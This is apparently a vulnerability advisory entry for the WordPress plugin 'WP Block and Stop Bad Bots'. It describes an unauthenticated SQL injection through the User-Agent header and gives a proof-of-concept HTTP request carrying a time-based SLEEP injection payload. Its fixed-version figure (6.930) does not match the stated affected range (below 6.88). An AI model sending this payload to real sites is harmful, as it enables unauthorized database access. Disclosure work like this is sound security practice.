WordPress Plugin Vulnerabilities
WP Block and Stop Bad Bots < 6.88 - Unauthenticated SQLi
Description
The plugin does not properly sanitise and escape the User Agent before using it in a SQL statement to record logs, leading to an SQL Injection issue
Proof of Concept
GET / HTTP/1.1 User-Agent: \'+SLEEP(5))-- g Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
Affects Plugins
Fixed in version 6.930
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-03-08 (about 10 months ago)
Added
2022-03-07 (about 11 months ago)
Last Updated
2022-04-09 (about 9 months ago)